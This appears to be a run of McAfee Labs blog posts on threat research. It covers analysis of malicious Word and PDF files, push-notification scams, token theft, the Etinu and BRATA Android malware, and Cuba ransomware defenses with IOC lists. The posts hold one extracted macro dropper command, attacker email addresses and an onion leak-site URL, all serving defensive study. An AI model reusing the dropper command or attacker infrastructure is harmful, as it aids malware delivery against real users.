File Name: PR_Report.bin
Hash: e992ffe746b40d97baf56098e2110ff3978f8229ca333e87e24d1539cea7415c
Tools:
Step 1: Getting started with File properties
It is always good practice to get familiar with the properties before starting any file analysis. We can get the details using the ‘file’ command in Linux.
Step 2: Apply Yara rules
Yara is a tool to identify and classify malware. This tool is used to conduct signature-based detection against any file. Let us check a couple of premade Yara rules from Didier Stevens Suites.
Step 3: Dump the document contents using oledump.py
As we know, an OLE file contains streams of data. Oledump.py will help us to analyze those streams further to extract macros or objects out of it.
You may notice in the above figure that we can see two letters ‘M‘ and ‘O’ in stream 8, 9 and 15, respectively. Here ‘M’ indicates the stream might contain macro code and ‘O’ indicates an object.
Step 4: Extract the VB script in macros
Shell cmd.exe /c ping localhost -n 100 && start Environ(“Temp”) & “\6C.pif”, vbHide
Step 5: Extract file from the ole object.
It is clear that the document has an embedded file which can be extracted using the oleobj tool.
Step 6: Getting the static information from the extracted file.
Step 7: Behavior analysis
Setup a Windows 7 32-bit VM, change the file extension to ‘.exe’ and simply run Apate DNS and Windows Network Monitoring tool before execution.
Figure9: Command and Control domain’s DNS queries captured in Apate DNS
Figure10: Captured network traffic of 5C.exe while trying to communicate with the C2
Figure11: Registry changes captured in Process Monitor
We can summarize it as the Word document first ran a VBA macro, dropped and ran an embedded executable, created a new process, communicated with the C2 servers and made unauthorized Registry changes. This is enough information to consider the document as malicious. From this point, if we want, we can do more detailed analysis like debugging the executable or analyzing the process dump to learn more about the file behavior.
A PDF document can be defined as a collection of objects that describes how the pages should be displayed inside the file.
Usually, an attack vector uses email or other social engineering skills to lure the user to click or open the pdf document. The moment a user opens the pdf file it typically executes JavaScript in the background that may exploit the existing vulnerability that persist with the Adobe pdf reader or drop an executable as a payload that might perform the rest of the objectives.
A pdf file has four components. They are header, body, reference, and trailer.
File name: Report.pdf
Sha256: a7b423202d5879d1f9e47ae85ce255e3758c5c1e5b19fcd56691dab288a47b4c
Tools –
Step 1: Scan the pdf document with PDFiD
PDFiD is a part of the Didier Stevens Suite. It scans the pdf document with a list of strings, which helps you to identify the information like JavaScript, Embedded files, actions while opening the documents and the count of the occurrences of some specific strings inside the pdf file.
Step 2: Looking inside the Objects
We have now discovered that there is JavaScript present inside the pdf file so let us start from there. We will run pdf-parser.py to search the JavaScript indirect object.
Step 3: Extract the embedded file using peepdf.
Peepdf is a tool built in Python, which provides all the necessary components in one place that are required during PDF analysis.
Syntax: peepdf –i file_name.pdf
The syntax (-i) means enabling interaction mode.
To learn more, just type help with the topic and explore the options it displays.
Step 4: Behavior analysis
Now set up a windows 7 32-bit virtual machine and execute the file.
Figure12: Process Explorer displays processes created by virus.exe
Figure13: Process Monitor captured the system changes made by virus.exe
The results in Process Monitor show the file was dropped as zedeogm.exe. Later it modified the Windows firewall rule. Then it executed WinMail.exe, following which it started cmd.exe to execute ‘tmpd849fc4d.bat’ and exited the process.
At this point, we have collected enough evidence to treat the pdf file as malicious. We can also perform additional precautionary steps like binary debugging and memory forensics on the extracted IOCs to hunt for further threats
In this write-up, we have understood the purpose of email threat hunting, how it will help to take preventive actions against un-known threats. We have discovered the areas we should investigate for hunting threats. We learned how a malicious URL can be hidden inside an email body and its analysis to further see if it is malicious or not.
To stay protected:
The post Steps to Discover Hidden Threat from Phishing Email appeared first on McAfee Blogs.
McAfee is tracking an increase in the use of deceptive popups that mislead some users into taking action, while annoying many others. A significant portion is attributed to browser-based push notifications, and while there are a couple of simple steps users can take to prevent and remediate the situation, there is also some confusion about how these should be handled.
In many cases scammers use deception to trick users into Allowing push notifications to be delivered to their system.
In other cases, there is no deception involved. Users willingly opt-in uncoerced.
After Allowing notifications, messages quickly start being received. Some sites send notifications as often as every minute.
Many messages are deceptive in nature. Consider this fake alert example. Clicking the message leads to an imposter Windows Defender alert website, complete with MP3 audio and a phone number to call.
In several other examples, social engineering is crafted around the McAfee name and logo. Clicking on the messages lead to various websites informing the user their subscription has expired, that McAfee has detected threats on their system, or providing direct links to purchase a McAfee subscription. Note that “Remove Ads” and similar notification buttons typically lead to the publishers chosen destination rather than anything that would help the user in disabling the popups. Also note that many of the destination sites themselves prompt the user to Allow more notifications. This can have a cascading effect where the user is soon flooded with many messages on a regular basis.
First, it’s important to understand that the representative images provided here are not indications of a virus infection. It is not necessary to update or purchase software to resolve the matter. There is a simple fix:
1. Note the name of the site sending the notification in the popup itself. It’s located next to the browser name, for example:
Example popup with a link to a Popup remover
2. Go to your browser settings’ notification section
3. Search for the site name and click the 3 dotes next to the entry.
Chrome’s notification settings
4. Select Block
The simplest way is to carefully read such authorization prompts and only click Allow on sites that you trust. Alternatively, you can disable notification prompts altogether.
As the saying goes, an ounce of prevention is worth a pound of cure.
While there are thousands of various messages and sites sending them, and messages evolve over time, these are the most common seen in April 2021:
|Click here to review your PC protection|Reminder From McAfee|Click here to review your PC protection|Download your free Windows protection now.|Bestes Antivirus–Kostenlos herunterladen
Your Mcafee has Expired |Renew now to stay protected for your PC!
Activate McAfee Antivirus Your Mcafee has Expired | Renew Norton Antivirus!The post How to Stop the Popups appeared first on McAfee Blogs.
Many malware attacks designed to inflict damage on a network are armed with lateral movement capabilities. Post initial infection, such malware would usually need to perform a higher privileged task or execute a privileged command on the compromised system to be able to further enumerate the infection targets and compromise more systems on the network. Consequently, at some point during its lateral movement activities, it would need to escalate its privileges using one or the other privilege escalation techniques. Once malware or an attacker successfully escalates its privileges on the compromised system, it will acquire the ability to perform stealthier lateral movement, usually executing its tasks under the context of a privileged user, as well as bypassing mitigations like User Account Control.
Process access token manipulation is one such privilege escalation technique which is widely adopted by malware authors. These set of techniques include process access token theft and impersonation, which eventually allows malware to advance its lateral movement activities across the network in the context of another logged in user or higher privileged user.
When a user authenticates to Windows via console (interactive logon), a logon session is created, and an access token is granted to the user. Windows manages the identity, security, or access rights of the user on the system with this access token, essentially determining what system resources they can access and what tasks can be performed. An access token for a user is primarily a kernel object and an identification of that user in the system, which also contains many other details like groups, access rights, integrity level of the process, privileges, etc. Fundamentally, a user’s logon session has an access token which also references their credentials to be used for Windows single sign on (SSO) authentication to access the local or remote network resources.
Once the attacker gains an initial foothold on the target by compromising the initial system, they would want to move around the network laterally to access more resource or critical assets. One of the ways for an attacker to achieve this is to use the identity or credentials of already logged-on users on the compromised machine to pivot to other systems or escalate their privileges and perform the lateral movement in the context of another logged on higher privileged user. Process access token manipulation helps the attackers to precisely accomplish this goal.
For our YARA rule, MITRE ATT&CK techniques and to learn more about the technical details of token manipulation attacks and how malware executes these attacks successfully at the code level, read our complete technical analysis here.
McAfee On-Access-Scan has a generic detection for this nature of malware as shown in the below screenshot:
Additionally, the YARA rule mentioned at the end of the technical analysis document can also be used to detect the token manipulation attacks by importing the rule in the Threat detection solutions like McAfee Advance Threat Defence, this behaviour can be detected.
Several types of malware and advanced persistent threats abuse process tokens to gain elevated privileges on the system. Malware can take multiple routes to achieve this goal. However, in all these routes, it would abuse the Windows APIs to execute the token stealing or token impersonation to gain elevated privileges and advance its lateral movement activities.
Access Token Theft and Manipulation Attacks – A Door to Local Privilege Escalation.
The post Access Token Theft and Manipulation Attacks – A Door to Local Privilege Escalation appeared first on McAfee Blogs.
A new wave of fraudulent apps has made its way to the Google Play store, targeting Android users in Southwest Asia and the Arabian Peninsula as well—to the tune of more than 700,000 downloads before detection by McAfee Mobile Research and co-operation with Google to remove the apps.
Figure 1. Infected Apps on Google Play
Posing as photo editors, wallpapers, puzzles, keyboard skins, and other camera-related apps, the malware embedded in these fraudulent apps hijack SMS message notifications and then make unauthorized purchases. While apps go through a review process to ensure that they are legitimate, these fraudulent apps made their way into the store by submitting a clean version of the app for review and then introducing the malicious code via updates to the app later.
Figure 2. Negative reviews on Google Play
McAfee Mobile Security detects this threat as Android/Etinu and alerts mobile users if they are present. The McAfee Mobile Research team continues to monitor this threat and is likewise continuing its co-operation with Google to remove these and other malicious applications on Google Play.
In terms of details, the malware embedded in these apps takes advantage of dynamic code loading. Encrypted payloads of malware appear in the assets folder associated with the app, using names such as “cache.bin,” “settings.bin,” “data.droid,” or seemingly innocuous “.png” files, as illustrated below.
Figure 3. Encrypted resource sneaked into the assets folder
Figure 4. Decryption flow
The figure above shows the decryption flow. Firstly, the hidden malicious code in the main .apk opens “1.png” file in the assets folder, decrypts it to “loader.dex,” and then loads the dropped .dex. The “1.png” is encrypted using RC4 with the package name as the key. The first payload creates HTTP POST request to the C2 server.
Interestingly, this malware uses key management servers. It requests keys from the servers for the AES encrypted second payload, “2.png”. And the server returns the key as the “s” value of JSON. Also, this malware has self-update function. When the server responds “URL” value, the content in the URL is used instead of “2.png”. However, servers do not always respond to the request or return the secret key.
Figure 5. Updated payload response
As always, the most malicious functions reveal themselves in the final stage. The malware hijacks the Notification Listener to steal incoming SMS messages like Android Joker malware does, without the SMS read permission. Like a chain system, the malware then passes the notification object to the final stage. When the notification has arisen from the default SMS package, the message is finally sent out using WebView JavaScript Interface.
Figure 6. Notification delivery flow
As a result of our additional investigation on C2 servers, following information was found, including carrier, phone number, SMS message, IP address, country, network status, and so forth—along with auto-renewing subscriptions:
Figure 7. Leaked data
We expect that threats which take advantage of Notification Listener will continue to flourish. The McAfee Mobile Research team continues to monitor these threats and protect customers by analyzing potential malware and working with app stores to remove it. Further, using McAfee Mobile Security can detect such threats and protect you from them via its regular updates. However, it’s important to pay attention to apps that request SMS-related permissions and Notification Listener permissions. Simply put, legitimate photo and wallpaper apps simply won’t ask for those because they’re not necessary for such apps to run. If a request seems suspicious, don’t allow it.
MITRE ATT&CK Matrix
| 08C4F705D5A7C9DC7C05EDEE3FCAD12F345A6EE6832D54B758E57394292BA651 | com.studio.keypaper2021 |
| CC2DEFEF5A14F9B4B9F27CC9F5BBB0D2FC8A729A2F4EBA20010E81A362D5560C | com.pip.editor.camera |
| 007587C4A84D18592BF4EF7AD828D5AAA7D50CADBBF8B0892590DB48CCA7487E | org.my.favorites.up.keypaper |
| 08FA33BC138FE4835C15E45D1C1D5A81094E156EEF28D02EA8910D5F8E44D4B8 | com.super.color.hairdryer |
| 9E688A36F02DD1B1A9AE4A5C94C1335B14D1B0B1C8901EC8C986B4390E95E760 | com.ce1ab3.app.photo.editor |
| 018B705E8577F065AC6F0EDE5A8A1622820B6AEAC77D0284852CEAECF8D8460C | com.hit.camera.pip |
| 0E2ACCFA47B782B062CC324704C1F999796F5045D9753423CF7238FE4CABBFA8 | com.daynight.keyboard.wallpaper |
| 50D498755486D3739BE5D2292A51C7C3D0ADA6D1A37C89B669A601A324794B06 | com.super.star.ringtones |
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The post Clever Billing Fraud Applications on Google Play: Etinu appeared first on McAfee Blogs.
The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: April 2021.
In this edition, we present new findings in our traditional threat statistical categories – as well as our usual malware, sectors, and vectors – imparted in a new, enhanced digital presentation that’s more easily consumed and interpreted.
Historically, our reports detailed the volume of key threats, such as “what is in the malware zoo.” The introduction of MVISION Insights in 2020 has since made it possible to track the prevalence of campaigns, as well as, their associated IoCs, and determine the in-field detections. This latest report incorporates not only the malware zoo but new analysis for what is being detected in the wild.
The Q3 and Q4 2020 findings include:
Additional Q3 and Q4 2020 content includes:
These new, insightful additions really make for a bumper report! We hope you find this new McAfee Labs threat report presentation and data valuable.
Don’t forget keep track of the latest campaigns and continuing threat coverage by visiting our McAfee COVID-19 Threats Dashboard and the MVISION Insights preview dashboard.
The post McAfee Labs Report Reveals Latest COVID-19 Threats and Malware Surges appeared first on McAfee Blogs.
Recently, the McAfee Mobile Research Team uncovered several new variants of the Android malware family BRATA being distributed in Google Play, ironically posing as app security scanners.
These malicious apps urge users to update Chrome, WhatsApp, or a PDF reader, yet instead of updating the app in question, they take full control of the device by abusing accessibility services. Recent versions of BRATA were also seen serving phishing webpages targeting users of financial entities, not only in Brazil but also in Spain and the USA.
In this blog post we will provide an overview of this threat, how does this malware operates and its main upgrades compared with earlier versions. If you want to learn more about the technical details of this threat and the differences between all variants you can check the BRATA whitepaper here.
First seen in the wild at the end of 2018 and named “Brazilian Remote Access Tool Android ” (BRATA) by Kaspersky, this “RAT” initially targeted users in Brazil and then rapidly evolved into a banking trojan. It combines full device control capabilities with the ability to display phishing webpages that steal banking credentials in addition to abilities that allow it capture screen lock credentials (PIN, Password or Pattern), capture keystrokes (keylogger functionality), and record the screen of the infected device to monitor a user’s actions without their consent.
Because BRATA is distributed mainly on Google Play, it allows bad actors to lure victims into installing these malicious apps pretending that there is a security issue on the victim’s device and asking to install a malicious app to fix the problem. Given this common ruse, it is recommended to avoid clicking on links from untrusted sources that pretend to be a security software which scans and updates your system—e even if that link leads to an app in Google Play. McAfee offers protection against this threat via McAfee Mobile Security, which detects this malware as Android/Brata.
The main upgrades and changes that we have identified in the latest versions of BRATA recently found in Google Play include:
During 2020, the threat actors behind BRATA have managed to publish several apps in Google Play, most of them reaching between one thousand to five thousand installs. However, also a few variants have reached 10,000 installs including the latest one, DefenseScreen, reported to Google by McAfee in October and later removed from Google Play.
Figure 1. DefenseScreen app in Google Play.
From all BRATA apps that were in Google Play in 2020, five of them caught our attention as they have notable improvements compared with previous ones. We refer to them by the name of the developer accounts:
Figure 2. Timeline of identified apps in Google Play from May to October 2020
BRATA poses as a security app scanner that pretends to scan all the installed apps, while in the background it checks if any of the target apps provided by a remote server are installed in the user’s device. If that is the case, it will urge the user to install a fake update of a specific app selected depending on the device language. In the case of English-language apps, BRATA suggests the update of Chrome while also constantly showing a notification at the top of the screen asking the user to activate accessibility services:
Figure 3. Fake app scanning functionality
Once the user clicks on “UPDATE NOW!”, BRATA proceeds to open the main Accessibility tab in Android settings and asks the user to manually find the malicious service and grant permissions to use accessibility services. When the user attempts to do this dangerous action, Android warns of the potential risks of granting access to accessibility services to a specific app, including that the app can observe your actions, retrieve content from Windows, and perform gestures like tap, swipe, and pinch.
As soon as the user clicks on OK the persistent notification goes away, the main icon of the app is hidden and a full black screen with the word “Updating” appears, which could be used to hide automated actions that now can be performed with the abuse of accessibility services:
Figure 4. BRATA asking access to accessibility services and showing a black screen to potentially hide automated actions
At this point, the app is completely hidden from the user, running in the background in constant communication with a command and control server run by the threat actors. The only user interface that we saw when we analyzed BRATA after the access to accessibility services was granted was the following screen, created by the malware to steal the device PIN and use it to unlock it when the phone is unattended. The screen asks the user to confirm the PIN, validating it with the real one because when an incorrect PIN is entered, an error message is shown and the screen will not disappear until the correct PIN is entered:
Figure 5. BRATA attempting to steal device PIN and confirming if the correct one is provided
Once the malicious app is executed and accessibility permissions have been granted, BRATA can perform almost any action in the compromised device. Here’s the list of commands that we found in all the payloads that we have analyzed so far:
In addition to the commands above, BRATA also performs automated actions by abusing accessibility services to hide itself from the user or automatically grant privileges to itself:
Earlier BRATA versions like OutProtect and PrivacyTitan were designed to target Brazilian users only by limiting its execution to devices set to the Portuguese language in Brazil. However, in June we noticed that threat actors behind BRATA started to add support to other languages like Spanish and English. Depending on the language configured in the device, the malware suggested that one of the following three apps needed an urgent update: WhatsApp (Spanish), a non-existent PDF Reader (Portuguese) and Chrome (English):
Figure 6. Apps falsely asked to be updated depending on the device language
In addition to the localization of the user-interface strings, we also noticed that threat actors have updated the list of targeted financial apps to add some from Spain and USA. In September, the target list had around 52 apps but only 32 had phishing URLs. Also, from the 20 US banking apps present in the last target list only 5 had phishing URLs. Here’s an example of phishing websites that will be displayed to the user if specific US banking apps are present in the compromised device:
Figure 7. Examples of phishing websites pretending to be from US banks
Throughout 2020, BRATA constantly evolved, adding different obfuscation layers to impede its analysis and detection. One of the first major changes was moving its core functionality to a remote server so it can be easily updated without changing the original malicious application. The same server is used as a first point of contact to register the infected device, provide an updated list of targeted financial apps, and then deliver the IP address and port of the server that will be used by the attackers to execute commands remotely on the compromised device:
Figure 8. BRATA high level network communication
Additional protection layers include string obfuscation, country and language check, encryption of certain key strings in assets folder, and, in latest variants, the use of a commercial packer that further prevents the static and dynamic analysis of the malicious apps. The illustration below provides a summary of the different protection layers and execution stages present in the latest BRATA variants:
Figure 9. BRATA protection layers and execution stages
In order get infected with BRATA ,users must install the malicious application from Google Play so below are some recommendations to avoid being tricked by this or any other Android threats that use social engineering to convince users to install malware that looks legitimate:
The activation of accessibility services is very sensitive in Android and key to the successful execution of this banking trojan because, once the access to those services is granted, BRATA can perform all the malicious activities and take control of the device. For this reason, Android users must be very careful when granting this access to any app.
Accessibility services are so powerful that in hands of a malicious app they could be used to fully compromise your device data, your online banking and finances, and your digital life overall.
When BRATA was initially discovered in 2019 and named “Brazilian Android RAT” by Kaspersky, it was said that, theoretically, the malware can be used to target other users if the cybercriminals behind this threat wanted to do it. Based on the newest variants found in 2020, the theory has become reality, showing that this threat is currently very active, constantly adding new targets, new languages and new protection layers to make its detection and analysis more difficult.
In terms of functionality, BRATA is just another example of how powerful the (ab)use of accessibility services is and how, with just a little bit of social engineering and persistence, cybercriminals can trick users into granting this access to a malicious app and basically getting total control of the infected device. By stealing the PIN, Password or Pattern, combined with the ability to record the screen, click on any button and intercept anything that is entered in an editable field, malware authors can virtually get any data they want, including banking credentials via phishing web pages or even directly from the apps themselves, while also hiding all these actions from the user.
Judging by our findings, the number of apps found in Google Play in 2020 and the increasing number of targeted financial apps, it looks like BRATA will continue to evolve, adding new functionality, new targets, and new obfuscation techniques to target as many users as possible, while also attempting to reduce the risk of being detected and removed from the Play store.
McAfee Mobile Security detects this threat as Android/Brata. To protect yourselves from this and similar threats, employ security software on your mobile devices and think twice before granting access to accessibility services to suspicious apps, even if they are downloaded from trusted sources like Google Play.
Figure 10. MITRE ATT&CK Mobile for BRATA
<h3>Indicators of compromise
Apps:
| SHA256 | Package Name | Installs |
| 4cdbd105ab8117620731630f8f89eb2e6110dbf6341df43712a0ec9837c5a9be | com.outprotect.android | 1,000+ |
| d9bc87ab45b0c786aa09f964a8101f6df7ea76895e2e8438c13935a356d9116b | com.privacytitan.android | 1,000+ |
| f9dc40a7dd2a875344721834e7d80bf7dbfa1bf08f29b7209deb0decad77e992 | com.greatvault.mobile | 10,000+ |
| e00240f62ec68488ef9dfde705258b025c613a41760138b5d9bdb2fb59db4d5e | com.pw.secureshield | 5,000+ |
| 2846c9dda06a052049d89b1586cff21f44d1d28f153a2ff4726051ac27ca3ba7 | com.defensescreen.application | 10,000+ |
URLs:
This paper will analyze five different “Brazilian Remote Access Tool Android” (BRATA) apps found in Google Play during 2020.
The post BRATA Keeps Sneaking into Google Play, Now Targeting USA and Spain appeared first on McAfee Blogs.
Cuba ransomware is an older ransomware, that has recently undergone some development. The actors have incorporated the leaking of victim data to increase its impact and revenue, much like we have seen recently with other major ransomware campaigns.
In our analysis, we observed that the attackers had access to the network before the infection and were able to collect specific information in order to orchestrate the attack and have the greatest impact. The attackers operate using a set of PowerShell scripts that enables them to move laterally. The ransom note mentions that the data was exfiltrated before it was encrypted. In similar attacks we have observed the use of a Cobalt Strike payload, although we have not found clear evidence of a relationship with Cuba ransomware.
We observed Cuba ransomware targeting financial institutions, industry, technology and logistics organizations.
The following picture shows an overview of the countries that have been impacted according to our telemetry.
Defenders should be on the lookout for traces and behaviours that correlate to open source pen test tools such as winPEAS, Lazagne, Bloodhound and Sharp Hound, or hacking frameworks like Cobalt Strike, Metasploit, Empire or Covenant, as well as abnormal behavior of non-malicious tools that have a dual use. These seemingly legitimate tools (e.g., ADfind, PSExec, PowerShell, etc.) can be used for things like enumeration and execution. Subsequently, be on the lookout for abnormal usage of Windows Management Instrumentation WMIC (T1047). We advise everyone to check out the following blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).
Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common among ransomware criminals:
When it comes to the actual ransomware binary, we strongly advise updating and upgrading endpoint protection, as well as enabling options like tamper protection and Rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.
For active protection, more details can be found on our website – https://www.mcafee.com/enterprise/en-us/threat-center/threat-landscape-dashboard/ransomware-details.cuba-ransomware.html – and in our detailed Defender blog.
Learn more about Cuba ransomware, Yara Rules, Indicators of Compromise & Mitre ATT&CK techniques used by reading our detailed technical analysis.
The post McAfee ATR Threat Report: A Quick Primer on Cuba Ransomware appeared first on McAfee Blogs.
Over the past year, we have seen ransomware attackers change the way they have responded to organizations that have either chosen to not pay the ransom or have recovered their data via some other means. At the end of the day, fighting ransomware has resulted in the bad actors’ loss of revenue. Being the creative bunch they are, they have resorted to data dissemination if the ransom is not paid. This means that significant exposure could still exist for your organization, even if you were able to recover from the attack.
Cuba ransomware, no newcomer to the game, has recently introduced this behavior.
This blog is focused on how to build an adaptable security architecture to increase your resilience against these types of attacks and specifically, how McAfee’s portfolio delivers the capability to prevent, detect and respond against the tactics and techniques used in the Cuba Ransomware Campaign.
As always, building adaptable defensive architecture starts with intelligence. In most organizations, the Security Operations team is responsible for threat intelligence analysis, as well as threat and incident response. McAfee Insights (https://www.mcafee.com/enterprise/en-us/lp/insights-dashboard1.html#) is a great tool for the threat intel analyst and threat responder. The Insights Dashboard identifies prevalence and severity of emerging threats across the globe which enables the Security Operations Center (SOC) to prioritize threat response actions and gather relevant cyber threat intelligence (CTI) associated with the threat, in this case the Cuba ransomware campaign. The CTI is provided in the form of technical indicators of compromise (IOCs) as well as MITRE ATT&CK framework tactics and techniques. As a threat intel analyst or responder you can drill down to gather more specific information on Cuba ransomware, such as prevalence and links to other sources of information. You can further drill down to gather more specific actionable intelligence such as indicators of compromise and tactics/techniques aligned to the MITRE ATT&CK framework.
From the McAfee Advanced Threat Research (ATR) blog, you can see that Cuba ransomware leverages tactics and techniques common to other APT campaigns. Currently, the Initial Access vector is not known. It could very well be spear phishing, exploited system tools and signed binaries, or a multitude of other popular methods.
Today’s digital enterprise is a hybrid environment of on-premise systems and cloud services with multiple entry points for attacks like Cuba ransomware. The work from home operating model forced by COVID-19 has only expanded the attack surface and increased risk for successful spear phishing attacks if organizations did not adapt their security posture and increase training for remote workers. Mitigating the risk of attacks like Cuba ransomware requires a security architecture with the right controls at the device, on the network and in security operations (SecOps). The Center for Internet Security (CIS) Top 20 Cyber Security Controls provides a good guide to build that architecture. As indicated earlier, the exact entry vector used by Cuba ransomware is currently unknown, so what follows, here, are more generalized recommendations for protecting your enterprise.
According to Threat Intelligence and Research, the initial access for Cuba ransomware is not currently known. As attackers can leverage many popular techniques for initial access, it is best to validate efficacy on all layers of defenses. This includes user awareness training and response procedures, intelligence and behavior-based malware defenses on email systems, web proxy and endpoint systems, and finally SecOps playbooks for early detection and response against suspicious email attachments or other phishing techniques. The following chart summarizes the controls expected to have the most effect against initial stage techniques and the McAfee solutions to implement those controls where applicable.
| MITRE Tactic | MITRE Techniques | CSC Controls | McAfee Capability |
| Initial Access | Spear Phishing Attachments (T1566.001) |
CSC 7 – Email and Web Browser Protection
CSC 8 – Malware Defenses CSC 17 – User Awareness |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection,
Web Gateway (MWG), Advanced Threat Defense, Web Gateway Cloud Service (WGCS) |
| Initial Access | Spear Phishing Link (T1566.002) |
CSC 7 – Email and Web Browser Protection
CSC 8 – Malware Defenses CSC 17 – User Awareness |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection,
Web Gateway (MWG), Advanced Threat Defense, Web Gateway Cloud Service (WGCS) |
| Initial Access | Spear Phishing (T1566.003) Service |
CSC 7 – Email and Web Browser Protection
CSC 8 – Malware Defenses CSC 17 – User Awareness |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection,
Web Gateway (MWG), Advanced Threat Defense, Web Gateway Cloud Service (WGCS) |
For additional information on how McAfee can protect against suspicious email attachments, review this additional blog post: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-protects-against-suspicious-email-attachments/
The exploitation stage is where the attacker gains access to the target system. Protection against Cuba ransomware at this stage is heavily dependent on adaptable anti-malware on both end user devices and servers, restriction of application execution, and security operations tools like endpoint detection and response sensors.
McAfee Endpoint Security 10.7 provides a defense in depth capability, including signatures and threat intelligence, to cover known bad indicators or programs, as well as machine-learning and behavior-based protection to reduce the attack surface against Cuba ransomware and detect new exploitation attack techniques. If the initial entry vector is a weaponized Word document with links to external template files on a remote server, for example, McAfee Threat Prevention and Adaptive Threat Protection modules protect against these techniques.
The following chart summarizes the critical security controls expected to have the most effect against exploitation stage techniques and the McAfee solutions to implement those controls where applicable.
| MITRE Tactic | MITRE Techniques | CSC Controls | McAfee Portfolio Mitigation |
| Execution | User Execution (T1204) |
CSC 5 Secure Configuration
CSC 8 Malware Defenses CSC 17 Security Awareness |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), Web Gateway and Network Security Platform |
| Execution | Command and Scripting Interpreter (T1059)
|
CSC 5 Secure Configuration
CSC 8 Malware Defenses |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR |
| Execution | Shared Modules (T1129) |
CSC 5 Secure Configuration
CSC 8 Malware Defenses |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC) |
| Persistence | Boot or Autologon Execution (T1547) |
CSC 5 Secure Configuration
CSC 8 Malware Defenses |
Endpoint Security Platform 10.7 Threat Prevention, MVISION EDR |
| Defensive Evasion | Template Injection (T1221) |
CSC 5 Secure Configuration
CSC 8 Malware Defenses |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR |
| Defensive Evasion | Signed Binary Proxy Execution (T1218) |
CSC 4 Control Admin Privileges
CSC 5 Secure Configuration CSC 8 Malware Defenses |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control, MVISION EDR |
| Defensive Evasion | Deobfuscate/Decode Files or Information (T1027)
|
CSC 5 Secure Configuration
CSC 8 Malware Defenses |
Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR |
For more information on how McAfee Endpoint Security 10.7 can prevent some of the techniques used in the Cuba ransomware exploit stage, review this additional blog post: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/
The impact stage is where the attacker encrypts the target system, data and perhaps moves laterally to other systems on the network. Protection at this stage is heavily dependent on adaptable anti-malware on both end user devices and servers, network controls and security operation’s capability to monitor logs for anomalies in privileged access or network traffic. The following chart summarizes the controls expected to have the most effect against impact stage techniques and the McAfee solutions to implement those controls where applicable:
The public leak site of Cuba ransomware can be found via TOR: http://cuba4mp6ximo2zlo[.]onion/
| MITRE Tactic | MITRE Techniques | CSC Controls | McAfee Portfolio Mitigation |
| Discovery | Account Discovery (T1087) |
CSC 4 Control Use of Admin Privileges
CSC 5 Secure Configuration CSC 6 Log Analysis |
MVISION EDR, MVISION Cloud, Cloud Workload Protection |
| Discovery | System Information Discovery (T1082) |
CSC 4 Control Use of Admin Privileges
CSC 5 Secure Configuration CSC 6 Log Analysis |
MVISION EDR, MVISION Cloud, Cloud Workload Protection |
| Discovery | System Owner/User Discovery (T1033) |
CSC 4 Control Use of Admin Privileges
CSC 5 Secure Configuration CSC 6 Log Analysis |
MVISION EDR, MVISION Cloud, Cloud Workload Protection |
| Command and Control | Encrypted Channel (T1573) |
CSC 8 Malware Defenses
CSC 12 Boundary Defenses |
Web Gateway, Network Security Platform |
As a threat intel analyst or hunter, you might want to quickly scan your systems for any indicators you received on Cuba ransomware. Of course, you can do that manually by downloading a list of indicators and searching with available tools. However, if you have MVISION EDR and Insights, you can do that right from the console, saving precious time. Hunting the attacker can be a game of inches so every second counts. Of course, if you found infected systems or systems with indicators, you can take action to contain and start an investigation for incident response immediately from the MVISION EDR console.
In addition to these IOCs, YARA rules are available in our technical analysis of Cuba ransomware.
Files:
151.bat
151.ps1
Kurva.ps1
Email addresses:
under_amur@protonmail[.]ch
helpadmin2@cock[.]li
helpadmin2@protonmail[.]com
iracomp2@protonmail[.]ch
fedelsupportagent@cock.li
admin@cuba-supp.com
cuba_support@exploit.im
Domain:
kurvalarva[.]com
Script for lateral movement and deployment:
54627975c0befee0075d6da1a53af9403f047d9e367389e48ae0d25c2a7154bc
c385ef710cbdd8ba7759e084051f5742b6fa8a6b65340a9795f48d0a425fec61
40101fb3629cdb7d53c3af19dea2b6245a8d8aa9f28febd052bb9d792cfbefa6
Cuba Ransomware:
c4b1f4e1ac9a28cc9e50195b29dde8bd54527abc7f4d16899f9f8315c852afd4
944ee8789cc929d2efda5790669e5266fe80910cabf1050cbb3e57dc62de2040
78ce13d09d828fc8b06cf55f8247bac07379d0c8b8c8b1a6996c29163fa4b659
33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e
672fb249e520f4496e72021f887f8bb86fec5604317d8af3f0800d49aa157be1
e942a8bcb3d4a6f6df6a6522e4d5c58d25cdbe369ecda1356a66dacbd3945d30
907f42a79192a016154f11927fbb1e6f661f679d68947bddc714f5acc4aa66eb
28140885cf794ffef27f5673ca64bd680fc0b8a469453d0310aea439f7e04e64
271ef3c1d022829f0b15f2471d05a28d4786abafd0a9e1e742bde3f6b36872ad
6396ea2ef48aa3d3a61fb2e1ca50ac3711c376ec2b67dbaf64eeba49f5dfa9df
bda4bddcbd140e4012bab453e28a4fba86f16ac8983d7db391043eab627e9fa1
7a17f344d916f7f0272b9480336fb05d33147b8be2e71c3261ea30a32d73fecb
c206593d626e1f8b9c5d15b9b5ec16a298890e8bae61a232c2104cbac8d51bdd
9882c2f5a95d7680626470f6c0d3609c7590eb552065f81ab41ffe074ea74e82
c385ef710cbdd8ba7759e084051f5742b6fa8a6b65340a9795f48d0a425fec61
54627975c0befee0075d6da1a53af9403f047d9e367389e48ae0d25c2a7154bc
1f825ef9ff3e0bb80b7076ef19b837e927efea9db123d3b2b8ec15c8510da647
